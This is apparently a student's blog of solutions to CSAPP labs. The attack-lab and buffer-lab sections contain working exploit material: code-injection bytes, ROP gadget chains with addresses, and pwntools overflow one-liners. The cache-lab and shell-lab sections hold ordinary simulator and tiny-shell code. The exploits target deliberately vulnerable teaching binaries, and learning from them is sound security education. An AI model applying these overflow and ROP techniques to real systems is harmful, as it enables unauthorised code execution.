CSAPP_Lab

不可视境界线最后变动于:2022年5月30日 下午

CSAPP_LAB

AttackLab

要会使用hex2raw和ctarget和rtarget, 用管道符号比较方便.

phase 1

直接使用溢出的8字节改写为touch1的地址

phase 2

1
2
3
4
5
6
7
8
9
10
11
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
1
2
3
0:	48 c7 c7 fa 97 b9 59 	 	mov    $0x59b997fa,%rdi
9: 68 ec 17 40 00 pushq $0x4017ec
e: c3 retq

此阶段需要执行栈上的代码, 在缓冲区里填充所写的代码后, 用gdb获得buf的栈顶, 覆盖getbuf的返回地址即可

phase 3

touch3函数里调用了hexmatch(cookie, sval), sval是char*类型且为touch3的第一个变量, 作用是比较字符串sval和cookie是否相同, 所以在调用touch3之前需要将%rdi设置为cookie的字符串形式, 即ASCII码值, 程序的大致运行过程如下:

  1. test=>getbuf, 40字节的栈空间存放攻击代码, 内容为: 设置%rdi, 将touch3地址推到栈上, ret. 溢出的8字节为getbuf返回地址, 改写为攻击代码的首地址.

    img
  2. 首地址获取方法: 用gdb调试设置断点到getbuf, 找到%rsp减去40后的值, 即为攻击代码地址

  3. 设置%rdi还要注意hexmatch的随机函数, 所以将输入的字符串存到getbuf返回地址的上方test代码段里, 与攻击代码距离40+8(返回地址)字节, 将该地址mov到%rdi里. 由于一次性使用程序, 不用关心test里的数据被改变

ROP: phase 4

这一节实际上重复了phase2的任务, 但是使用了栈随机化和限制代码可执行区域, 所以采用ROP进行攻击.

使用objdump -s rtarget > rtarget.s得到反汇编代码, 可以从handout中得知所需的gadget在以start_farm函数开始, 以mid_farm结束的一些函数中

1
2
3
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq

由于找不到直接pop %rdi的代码, 所以转向pop到其他寄存器然后mov到%rdi中, 这时候可以发现addval_219和addval_273中的58 90 c3, 48 89 c7 c3, 即pop %rax, mov %rax, %rdi(真tm就是直接找啊).

然后在buf里填充40字节空字符, 溢出的8字节定位到219, 从栈上pop出cookie, ret(0xc3)指令从栈上弹出一个地址即273的地址, 执行完mov后再ret, 最终跳转到touch2.

exploit code:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 ==>40字节
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

结束.

phase5

Official Warning : If you have other pressing obligations consider stopping right now.

重复了phase3的任务.Figure 3D就和nop一样, 不改变任何东西, 可以无视.

由于使用了栈随机化, 又需要把cookie的地址放到栈上产生地址, 再存到%rdi中, 所以需要使用一些代码组合来产生一个固定偏移量的栈地址.有两种方法:

  1. 使用handout里面给出的那些编码, 代码较长所以才说费时间

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    				;in addval_190
    movq %rsp,%rax
    ret
    ;in addval_426
    movq %rax,%rdi
    ret
    ;in addval_219
    popq %rax
    ret
    ;in getval_481
    movl %eax,%edx
    ret
    ;in getval_159
    movl %edx,%ecx
    ret
    ;in addval_436
    movl %ecx,%rsi
    ret
    ;in add_xy
    lea (%rdi,%rsi,1),%rax
    retq
    ;in addval_426
    movq %rax,%rdi
    ret

    %rsp+80处放字符串,%rsp+8处才开始执行addval_190. 所以 (%rsp+80)-(%rsp+8)=72=0x48

  2. 使用add指令的编码, 使得实际只需三行汇编

    1
    2
    3
    4
    5
    6
    7
    8
    9
    0000000000401a03 <addval_190>:
    401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
    401a09: c3 retq
    00000000004019d6 <add_xy>:
    4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
    4019da: c3 retq
    00000000004019a0 <addval_273>:
    4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
    4019a6: c3 retq

    提取后:

    1
    2
    3
    4
    5
    6
    7
    8
    401a06: 48 89 e0              movq %rsp, %rax
    401a09: c3 retq

    4019d8: 04 37 add 0x37, %al
    4019da: c3 retq

    4019a2: 48 89 c7 movq %rax, %rdi
    4019a5: c3 retq

    结束.

Cache Lab

1)Part A

就,没什么可说的,白嫖真香。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
typedef long long unsigned mem_addr_t;
struct cache_line_t{
mem_addr_t tag;
int valid;
unsigned int lru;
};
typedef struct cache_line_t* cache_set_t;
typedef cache_set_t* cache_t;

cache_t cache;
mem_addr_t set_index_mask = 0;

void accessData(mem_addr_t addr)
{
int eviction_line;
// 注意是无符号整数
unsigned int eviction_lru = -1;
eviction_line = 0;
mem_addr_t tag = addr >> (s + b);
cache_set_t cache_set = cache[(addr >> b) & set_index_mask];

// 所需数据的cache_line编号
int i;
for (i = 0; ; ++i )
{
// 如果把所有的cache_line全遍历完了还找不到所需的数据
if ( i >= E )
{
// 数据未命中
++miss_count;
if ( verbosity )
printf("miss ");
// 在一组cache_line中查找将被删除的cache_line
for (int ia = 0; ia < E; ++ia )
{
if ( cache_set[ia].lru < eviction_lru )
{
eviction_line = ia;
eviction_lru = cache_set[ia].lru;
}
}
// 如果当前这个要被删除的cache_line是valid
// 即,这个要被替换数据的cache_line是一条之前读入的数据而不是空行
if ( cache_set[eviction_line].valid )
{
// 删除数+1
++eviction_count;
if ( verbosity )
printf("eviction ");
}
// 模拟从**主存**读入并覆盖数据到这个刚刚被删除(或本来是空行)的cache_line里
cache_set[eviction_line].valid = 1;
cache_set[eviction_line].tag = tag;
cache_set[eviction_line].lru = lru_counter++;
return;
}
// 查找cache中的数据
if ( cache_set[i].tag == tag && cache_set[i].valid )
break;
}
// 如果找到数据了,自然就hit_count++
++hit_count;
if ( verbosity )
printf("hit ");
cache_set[i].lru = lru_counter++;
}

void replayTrace(char *trace_fn)
{
FILE * trace_fp = fopen(trace_fn, "r");
if ( !trace_fp )
{
int* err_num = __errno_location();
char* err_str = strerror(*err_num);
fprintf(stderr, "%s: %s\n", trace_fn, err_str);
exit(1);
}

char buf[1000];
while ( fgets(buf, 1000, trace_fp) )
{
unsigned int len = 0;
mem_addr_t addr = 0;
if ( buf[1] == 'S' || buf[1] == 'L' || buf[1] == 'M' )
{
sscanf(&buf[3], "%llx,%u", &addr, &len);
if ( verbosity )
printf("%c %llx,%u ", buf[1], addr, len);
// 读取/写入数据
// 写入数据同样需要判断数据是否存在与cache。如果数据不在,同样要将其读回cache
accessData(addr);
// 如果当前指令是修改指令,则上一条accessData读取数据,下一条的accessData写入数据
if ( buf[1] == 'M' )
accessData(addr);
if ( verbosity )
putchar('\n');
}
}
fclose(trace_fp);
}

2)Part B

32*32:

最优解法是非常暴力非常详细的写出每一行的移动情况,普通解法是规规矩矩的8分块。链接_

64*64:

第一种解法是八分块然后再4分块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
else if (M == 64)
{
int i, j, x, y;
int x1, x2, x3, x4, x5, x6, x7, x8;
for (i = 0; i < N; i += 8)
for (j = 0; j < M; j += 8)
{
for (x = i; x < i + 4; ++x)
{
x1 = A[x][j]; x2 = A[x][j+1]; x3 = A[x][j+2]; x4 = A[x][j+3];
x5 = A[x][j+4]; x6 = A[x][j+5]; x7 = A[x][j+6]; x8 = A[x][j+7];

B[j][x] = x1; B[j+1][x] = x2; B[j+2][x] = x3; B[j+3][x] = x4;
B[j][x+4] = x5; B[j+1][x+4] = x6; B[j+2][x+4] = x7; B[j+3][x+4] = x8;
}
for (y = j; y < j + 4; ++y)
{
x1 = A[i+4][y]; x2 = A[i+5][y]; x3 = A[i+6][y]; x4 = A[i+7][y];
x5 = B[y][i+4]; x6 = B[y][i+5]; x7 = B[y][i+6]; x8 = B[y][i+7];

B[y][i+4] = x1; B[y][i+5] = x2; B[y][i+6] = x3; B[y][i+7] = x4;
B[y+4][i] = x5; B[y+4][i+1] = x6; B[y+4][i+2] = x7; B[y+4][i+3] = x8;
}
for (x = i + 4; x < i + 8; ++x)
{
x1 = A[x][j+4]; x2 = A[x][j+5]; x3 = A[x][j+6]; x4 = A[x][j+7];
B[j+4][x] = x1; B[j+5][x] = x2; B[j+6][x] = x3; B[j+7][x] = x4;
}
}
}

第二种解法在那个链接里的评论区里1024次miss, 未看.

61*67:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
for (int i = 0; i < N; i += 16)
{
for (int j = 0; j < M; j += 16)
{
for (int k = i; k < i + 16 && k < N; ++k)
{
int temp_position = -1;
int temp_value = 0;
int l;
for (l = j; l < j + 16 && l < M; ++l)
{
if (l == k) /* 横坐标等于纵坐标,局部变量暂存,整个block读完再处理 */
{
temp_position = k;
temp_value = A[k][k];
}
else
{
B[l][k] = A[k][l];
}
}
if (temp_position != -1) /* 遇到了冲突元素 */
{
B[temp_position][temp_position] = temp_value;
}
}
}
}

其他链接

附上手算miss率的神人专栏. 以及CMU的课件, miss次数好像就是这上面的.

ShellLab

通过parseline理解一下如何编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/* 
* parseline - Parse the command line and build the argv array.
*
* Characters enclosed in single quotes are treated as a single
* argument. Return true if the user has requested a BG job, false if
* the user has requested a FG job.
*/
int parseline(const char *cmdline, char **argv) // cmdline-->argv_array
{
static char array[MAXLINE]; /* holds local copy of command line */
char *buf = array; /* ptr that *traverses* command line */
char *delim; /* points to first space delimiter */
int argc; /* number of args */
int bg; /* background job? */

strcpy(buf, cmdline);
buf[strlen(buf)-1] = ' '; /* replace trailing '\n' with space */
while (*buf && (*buf == ' ')) /* ignore leading spaces */
buf++;

/* Build the argv list */ //这里已经到了第一个非空字符
argc = 0;
if (*buf == '\'') {
buf++;
delim = strchr(buf, '\'');
}
else {
delim = strchr(buf, ' '); //这两个delim指明的是当前参数后面的分隔符
}

while (delim) {
argv[argc++] = buf;
*delim = '\0'; //截断
buf = delim + 1;
while (*buf && (*buf == ' ')) /* ignore spaces */
buf++;

if (*buf == '\'') {
buf++;
delim = strchr(buf, '\'');
}
else {
delim = strchr(buf, ' ');
}
}
argv[argc] = NULL;

if (argc == 0) /* ignore blank line */
return 1;

/* should the job run in the background? */
if ((bg = (*argv[argc-1] == '&')) != 0) {
argv[--argc] = NULL;
}
return bg;
}

1.eval(): 处理命令行输入(cmdline)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/* 
* eval - Evaluate the command line that the user has just typed in
*
* If the user has requested a built-in command (quit, jobs, bg or fg)
* then execute it immediately. Otherwise, fork a child process and
* run the job in the context of the child. If the job is running in
* the foreground, wait for it to terminate and then return. Note:
* each child process must have a unique process group ID so that our
* background children don't receive SIGINT (SIGTSTP) from the kernel
* when we type ctrl-c (ctrl-z) at the keyboard.
*/
void eval(char *cmdline)
{
sigset_t set;
pid_t pid;
int state = UNDEF;
char *argv[MAXLINE];
if (1 == parseline(cmdline, argv))
state = BG;
else
state = FG;
if (argv[0] == NULL)
return;
if (!builtin_cmd(argv))
{
sigemptyset(&set);
sigaddset(&set, SIGINT), sigaddset(&set, SIGCHLD), sigaddset(&set, SIGSTOP);
sigprocmask(SIG_BLOCK, &set, NULL);

if ((pid = fork()) < 0)
unix_error("fork error!");
else if (pid == 0) //进入到了fork出来的子程序
{
sigprocmask(SIG_UNBLOCK, &set, NULL);
setpgid(0, 0);
if (execve(argv[0], argv, environ) < 0) //1.路径 2.参数(包括1) 3.环境变量
{
printf("%s: commond not found!", argv[0]);
exit(0);
}
}

//fork完成, 加入joblist
addjob(jobs, pid, state, cmdline);
if (sigprocmask(SIG_UNBLOCK, &set, NULL) < 0)
unix_error("sigprocmask error");

if (state == FG)
waitfg(pid);
else
printf("[%d] (%d) %s", pid2jid(pid), pid, cmdline);
}
return;
}

2.builtin_cmd()判断是否内置函数并跳转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 
* builtin_cmd - If the user has typed a built-in command then execute
* it immediately.
*/
int builtin_cmd(char **argv)
{
if (!strcmp(argv[0], "quit"))
exit(0);
else if (!strcmp(argv[0], "bg") || !strcmp(argv[0], "fg"))
do_bgfg(argv);
else if (!strcmp(argv[0], "jobs"))
listjobs(jobs);
else
return 0; /* not a builtin command */
return 1;
}

3.do_bgfg()执行bg fg命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* 
* do_bgfg - Execute the builtin bg and fg commands
*/
void do_bgfg(char **argv)
{
int parsed;
struct job_t *job;
if (!argv[1])
{
printf("%s commond requires PID or %%JID argument\n", argv[0]);
return;
}

if (argv[1][0] == '%') //错误检查以及取出PID或者JID
{
if ((parsed = strtol(argv[1] + 1, NULL, 10)) <= 0)
{
printf("%s: arguments must be a PID or JID\n", argv[0]);
return;
}
if ((job = getjobjid(jobs, parsed)) == NULL)
{
printf("(%d): No such job\n", parsed);
return;
}
}
else
{
if ((parsed = strtol(argv[1], NULL, 10)) <= 0)
{
printf("%s: arguments must be a PID or JID\n", argv[0]);
return;
}
if ((job = getjobpid(jobs, parsed)) == NULL)
{
printf("(%d): No such process\n", parsed);
return;
}
}

//fg和bg分别处理
if (!strcmp(argv[0], "bg"))
{
job->state = BG;
if (kill(-(job->pid), SIGCONT) < 0) //发送signal到groupid为|job->pid|的组
unix_error("kill error");
printf("[%d] (%d) %s", job->jid, job->pid, job->cmdline);
}
else if (!strcmp(argv[0], "fg"))
{
job->state = FG;
if (kill(-(job->pid), SIGCONT) < 0)
unix_error("kill error");
waitfg(job->pid);
}
else
{
puts("do_bgfg: Internal error");
exit(0);
}
return;
}

4.waitfg()等待前台程序结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void waitfg(pid_t pid)
{ //使用sigsuspend
sigset_t sig, prev;
sigemptyset(&sig);
sigaddset(&sig, SIGCHLD);
sigprocmask(SIG_BLOCK, &sig, &prev);

while(pid == fgpid(jobs))
sigsuspend(&prev);

sigprocmask(SIG_SETMASK, &prev, NULL);
if(verbose)
printf("waitfg: Process (%d) no longer the fg process\n", pid);
return;
}

5.signal_handlers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/*****************
* Signal handlers
*****************/

/*
* sigchld_handler - The kernel sends a SIGCHLD to the shell whenever
* a child job terminates (becomes a zombie), or stops because it
* received a SIGSTOP or SIGTSTP signal. The handler reaps all
* available zombie children, but doesn't wait for any other
* currently running children to terminate.
*/
void sigchld_handler(int sig)
{
pid_t pid;
int status;
while ((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0)
{
if (WIFEXITED(status))
{ /*process is exited in normal way*/
deletejob(jobs, pid);
}
if (WIFSIGNALED(status))
{ /*process is terminated by a signal*/
printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(status));
deletejob(jobs, pid);
}
if (WIFSTOPPED(status))
{ /*process is stop because of a signal*/
printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, WSTOPSIG(status));
struct job_t *job = getjobpid(jobs, pid);
if (job != NULL)
job->state = ST;
}
}
return;
}

/*
* sigint_handler - The kernel sends a SIGINT to the shell whenver the
* user types ctrl-c at the keyboard. Catch it and send it along
* to the foreground job.
*/
void sigint_handler(int sig)
{
pid_t pid = fgpid(jobs);

if (pid != 0)
{
kill(-pid, SIGINT);
}
return;
}

/*
* sigtstp_handler - The kernel sends a SIGTSTP to the shell whenever
* the user types ctrl-z at the keyboard. Catch it and suspend the
* foreground job by sending it a SIGTSTP.
*/
void sigtstp_handler(int sig)
{
pid_t pid = fgpid(jobs);

if (pid != 0)
{
struct job_t *job = getjobpid(jobs, pid);
if (job->state == ST)
return;
else
{
kill(-pid, SIGTSTP);
}
}
return;
}

其余代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
/* 
* tsh - A tiny shell program with job control
*
* <Put your name and login ID here>
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>

/* Misc manifest constants */
#define MAXLINE 1024 /* max line size */
#define MAXARGS 128 /* max args on a command line */
#define MAXJOBS 16 /* max jobs at any point in time */
#define MAXJID 1 << 16 /* max job ID */

/* Job states */
#define UNDEF 0 /* undefined */
#define FG 1 /* running in foreground */
#define BG 2 /* running in background */
#define ST 3 /* stopped */

/*
* Jobs states: FG (foreground), BG (background), ST (stopped)
* Job state transitions and enabling actions:
* FG -> ST : ctrl-z
* ST -> FG : fg command
* ST -> BG : bg command
* BG -> FG : fg command
* At most 1 job can be in the FG state.
*/

/* Global variables */
extern char **environ; /* defined in libc */
char prompt[] = "tsh> "; /* command line prompt (DO NOT CHANGE) */
int verbose = 0; /* if true, print additional output */
int nextjid = 1; /* next job ID to allocate */
char sbuf[MAXLINE]; /* for composing sprintf messages */

struct job_t
{ /* The job struct */
pid_t pid; /* job PID */
int jid; /* job ID [1, 2, ...] */
int state; /* UNDEF, BG, FG, or ST */
char cmdline[MAXLINE]; /* command line */
};
struct job_t jobs[MAXJOBS]; /* The job list */
/* End global variables */

/* Function prototypes */

/* Here are the functions that you will implement */
void eval(char *cmdline);
int builtin_cmd(char **argv);
void do_bgfg(char **argv);
void waitfg(pid_t pid);

void sigchld_handler(int sig);
void sigtstp_handler(int sig);
void sigint_handler(int sig);

/* Here are helper routines that we've provided for you */
int parseline(const char *cmdline, char **argv);
void sigquit_handler(int sig);

void clearjob(struct job_t *job);
void initjobs(struct job_t *jobs);
int maxjid(struct job_t *jobs);
int addjob(struct job_t *jobs, pid_t pid, int state, char *cmdline);
int deletejob(struct job_t *jobs, pid_t pid);
pid_t fgpid(struct job_t *jobs);
struct job_t *getjobpid(struct job_t *jobs, pid_t pid);
struct job_t *getjobjid(struct job_t *jobs, int jid);
int pid2jid(pid_t pid);
void listjobs(struct job_t *jobs);

void usage(void);
void unix_error(char *msg);
void app_error(char *msg);
typedef void handler_t(int);
handler_t *Signal(int signum, handler_t *handler);

/*
* main - The shell's main routine
*/
int main(int argc, char **argv)
{
char c;
char cmdline[MAXLINE];
int emit_prompt = 1; /* emit prompt (default) */

/* Redirect stderr to stdout (so that driver will get all output
* on the pipe connected to stdout) */
dup2(1, 2);

/* Parse the command line */
while ((c = getopt(argc, argv, "hvp")) != EOF)
{
switch (c)
{
case 'h': /* print help message */
usage();
break;
case 'v': /* emit additional diagnostic info */
verbose = 1;
break;
case 'p': /* don't print a prompt */
emit_prompt = 0; /* handy for automatic testing */
break;
default:
usage();
}
}

/* Install the signal handlers */

/* These are the ones you will need to implement */
Signal(SIGINT, sigint_handler); /* ctrl-c */
Signal(SIGTSTP, sigtstp_handler); /* ctrl-z */
Signal(SIGCHLD, sigchld_handler); /* Terminated or stopped child */

/* This one provides a clean way to kill the shell */
Signal(SIGQUIT, sigquit_handler);

/* Initialize the job list */
initjobs(jobs);

/* Execute the shell's read/eval loop */
while (1)
{

/* Read command line */
if (emit_prompt)
{
printf("%s", prompt);
fflush(stdout);
}
if ((fgets(cmdline, MAXLINE, stdin) == NULL) && ferror(stdin))
app_error("fgets error");
if (feof(stdin))
{ /* End of file (ctrl-d) */
fflush(stdout);
exit(0);
}

/* Evaluate the command line */
eval(cmdline);
fflush(stdout);
fflush(stdout);
}

exit(0); /* control never reaches here */
}

/*
* eval - Evaluate the command line that the user has just typed in
*
* If the user has requested a built-in command (quit, jobs, bg or fg)
* then execute it immediately. Otherwise, fork a child process and
* run the job in the context of the child. If the job is running in
* the foreground, wait for it to terminate and then return. Note:
* each child process must have a unique process group ID so that our
* background children don't receive SIGINT (SIGTSTP) from the kernel
* when we type ctrl-c (ctrl-z) at the keyboard.
*/
void eval(char *cmdline)

/*
* parseline - Parse the command line and build the argv array.
*
* Characters enclosed in single quotes are treated as a single
* argument. Return true if the user has requested a BG job, false if
* the user has requested a FG job.
*/
int parseline(const char *cmdline, char **argv)

/*
* builtin_cmd - If the user has typed a built-in command then execute
* it immediately.
*/
int builtin_cmd(char **argv)

/*
* do_bgfg - Execute the builtin bg and fg commands
*/
void do_bgfg(char **argv)

/*
* waitfg - Block until process pid is no longer the foreground process
*/
void waitfg(pid_t pid)

/*****************
* Signal handlers
*****************/

/*
* sigchld_handler - The kernel sends a SIGCHLD to the shell whenever
* a child job terminates (becomes a zombie), or stops because it
* received a SIGSTOP or SIGTSTP signal. The handler reaps all
* available zombie children, but doesn't wait for any other
* currently running children to terminate.
*/
void sigchld_handler(int sig)

/*
* sigint_handler - The kernel sends a SIGINT to the shell whenver the
* user types ctrl-c at the keyboard. Catch it and send it along
* to the foreground job.
*/
void sigint_handler(int sig)

/*
* sigtstp_handler - The kernel sends a SIGTSTP to the shell whenever
* the user types ctrl-z at the keyboard. Catch it and suspend the
* foreground job by sending it a SIGTSTP.
*/
void sigtstp_handler(int sig)

/*********************
* End signal handlers
*********************/

/***********************************************
* Helper routines that manipulate the job list
**********************************************/

/* clearjob - Clear the entries in a job struct */
void clearjob(struct job_t *job)
{
job->pid = 0;
job->jid = 0;
job->state = UNDEF;
job->cmdline[0] = '\0';
}

/* initjobs - Initialize the job list */
void initjobs(struct job_t *jobs)
{
int i;

for (i = 0; i < MAXJOBS; i++)
clearjob(&jobs[i]);
}

/* maxjid - Returns largest allocated job ID */
int maxjid(struct job_t *jobs)
{
int i, max = 0;

for (i = 0; i < MAXJOBS; i++)
if (jobs[i].jid > max)
max = jobs[i].jid;
return max;
}

/* addjob - Add a job to the job list */
int addjob(struct job_t *jobs, pid_t pid, int state, char *cmdline)
{
int i;

if (pid < 1)
return 0;

for (i = 0; i < MAXJOBS; i++)
{
if (jobs[i].pid == 0)
{
jobs[i].pid = pid;
jobs[i].state = state;
jobs[i].jid = nextjid++;
if (nextjid > MAXJOBS)
nextjid = 1;
strcpy(jobs[i].cmdline, cmdline);
if (verbose)
{
printf("Added job [%d] %d %s\n", jobs[i].jid, jobs[i].pid, jobs[i].cmdline);
}
return 1;
}
}
printf("Tried to create too many jobs\n");
return 0;
}

/* deletejob - Delete a job whose PID=pid from the job list */
int deletejob(struct job_t *jobs, pid_t pid)
{
int i;

if (pid < 1)
return 0;

for (i = 0; i < MAXJOBS; i++)
{
if (jobs[i].pid == pid)
{
clearjob(&jobs[i]);
nextjid = maxjid(jobs) + 1;
return 1;
}
}
return 0;
}

/* fgpid - Return PID of current foreground job, 0 if no such job */
pid_t fgpid(struct job_t *jobs)
{
int i;

for (i = 0; i < MAXJOBS; i++)
if (jobs[i].state == FG)
return jobs[i].pid;
return 0;
}

/* getjobpid - Find a job (by PID) on the job list */
struct job_t *getjobpid(struct job_t *jobs, pid_t pid)
{
int i;

if (pid < 1)
return NULL;
for (i = 0; i < MAXJOBS; i++)
if (jobs[i].pid == pid)
return &jobs[i];
return NULL;
}

/* getjobjid - Find a job (by JID) on the job list */
struct job_t *getjobjid(struct job_t *jobs, int jid)
{
int i;

if (jid < 1)
return NULL;
for (i = 0; i < MAXJOBS; i++)
if (jobs[i].jid == jid)
return &jobs[i];
return NULL;
}

/* pid2jid - Map process ID to job ID */
int pid2jid(pid_t pid)
{
int i;

if (pid < 1)
return 0;
for (i = 0; i < MAXJOBS; i++)
if (jobs[i].pid == pid)
{
return jobs[i].jid;
}
return 0;
}

/* listjobs - Print the job list */
void listjobs(struct job_t *jobs)
{
int i;

for (i = 0; i < MAXJOBS; i++)
{
if (jobs[i].pid != 0)
{
printf("[%d] (%d) ", jobs[i].jid, jobs[i].pid);
switch (jobs[i].state)
{
case BG:
printf("Running ");
break;
case FG:
printf("Foreground ");
break;
case ST:
printf("Stopped ");
break;
default:
printf("listjobs: Internal error: job[%d].state=%d ",
i, jobs[i].state);
}
printf("%s", jobs[i].cmdline);
}
}
}
/******************************
* end job list helper routines
******************************/

/***********************
* Other helper routines
***********************/

/*
* usage - print a help message
*/
void usage(void)
{
printf("Usage: shell [-hvp]\n");
printf(" -h print this message\n");
printf(" -v print additional diagnostic information\n");
printf(" -p do not emit a command prompt\n");
exit(1);
}

/*
* unix_error - unix-style error routine
*/
void unix_error(char *msg)
{
fprintf(stdout, "%s: %s\n", msg, strerror(errno));
exit(1);
}

/*
* app_error - application-style error routine
*/
void app_error(char *msg)
{
fprintf(stdout, "%s\n", msg);
exit(1);
}

/*
* Signal - wrapper for the sigaction function
*/
handler_t *Signal(int signum, handler_t *handler)
{
struct sigaction action, old_action;

action.sa_handler = handler;
sigemptyset(&action.sa_mask); /* block sigs of type being handled */
action.sa_flags = SA_RESTART; /* restart syscalls if possible */

if (sigaction(signum, &action, &old_action) < 0)
unix_error("Signal error");
return (old_action.sa_handler);
}

/*
* sigquit_handler - The driver program can gracefully terminate the
* child shell by sending it a SIGQUIT signal.
*/
void sigquit_handler(int sig)
{
printf("Terminating after receipt of SIGQUIT signal\n");
exit(1);
}

实验总结

总的来说不难的一个实验,关键在于要先理解整个框架中的代码,然后根据trace file渐进地完成程序。需要注意的地方实验讲义中的提示以及书本中都已经给出,这里不再赘述。需要强调的是SIGCHLD的信号处理程序需要处理未捕获的SIGTSTP和SIGINT信号。此外SIGINT/SIGTSTP和SIGCHLD的信号处理程序之间可能会有潜在的导致错误的冲突。(信号处理程序是可以被其他信号中断的,可以见trace16.txt)

bufLab

ctf pwn buffer overflow基础入门题目.

level0

由于bufbomb没有开PIE, 所以smoke的地址是固定的, 只要覆盖返回地址就行.

smoke() address: 0x08048E0A

image-20220501205056212

getbuf没有开canary, 所以填充完0x28字节+8bytes rbp+0x08048E0A即可.

然后突然发现末尾有个0a, 于是换成10, 也就是smoke第三条指令的位置, 跳过了开辟占空间的过程不过这函数直接退出也没啥关系.

image-20220501211931466
1
2
$ python3 -c "import pwn,sys;sys.stdout.buffer.write(b'b'*(0x28+0x4)+pwn.p32(0x08048E10))" >input
$ ./bufbomb -u yogdzewa <input
image-20220501211857203

level1

要调用fizz函数, 参数要等于cookie = 0x24692446.

所以gefbuf返回后跳到fizz, 栈底是返回地址, 再往下是第一个参数.

1
2
$ python3 -c "import pwn,sys;sys.stdout.buffer.write(b'b'*(0x28+0x4)+pwn.p32(0x08048DAF)+pwn.p32(0)+pwn.p32(0x24692446))" >input 
$ ./bufbomb -u yogdzewa <input

image-20220501213601163

level2

shellcode注入, 放到栈上执行, 需要修改一个bss段的全局变量. 如图: image-20220501214313652

在地址0x0804D10C处. 栈的基地址是根据cookie来确定的, 不过在每次运行中都不会变.

bang() address: 0x08048D52, getbuf stack frame base: ebp -> 0x55683c60, getbuf’s buf: ebp-0x28=0x55683C38

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.binary='./bufbomb'
shellcode = '''
mov edi, 0x0804D10C
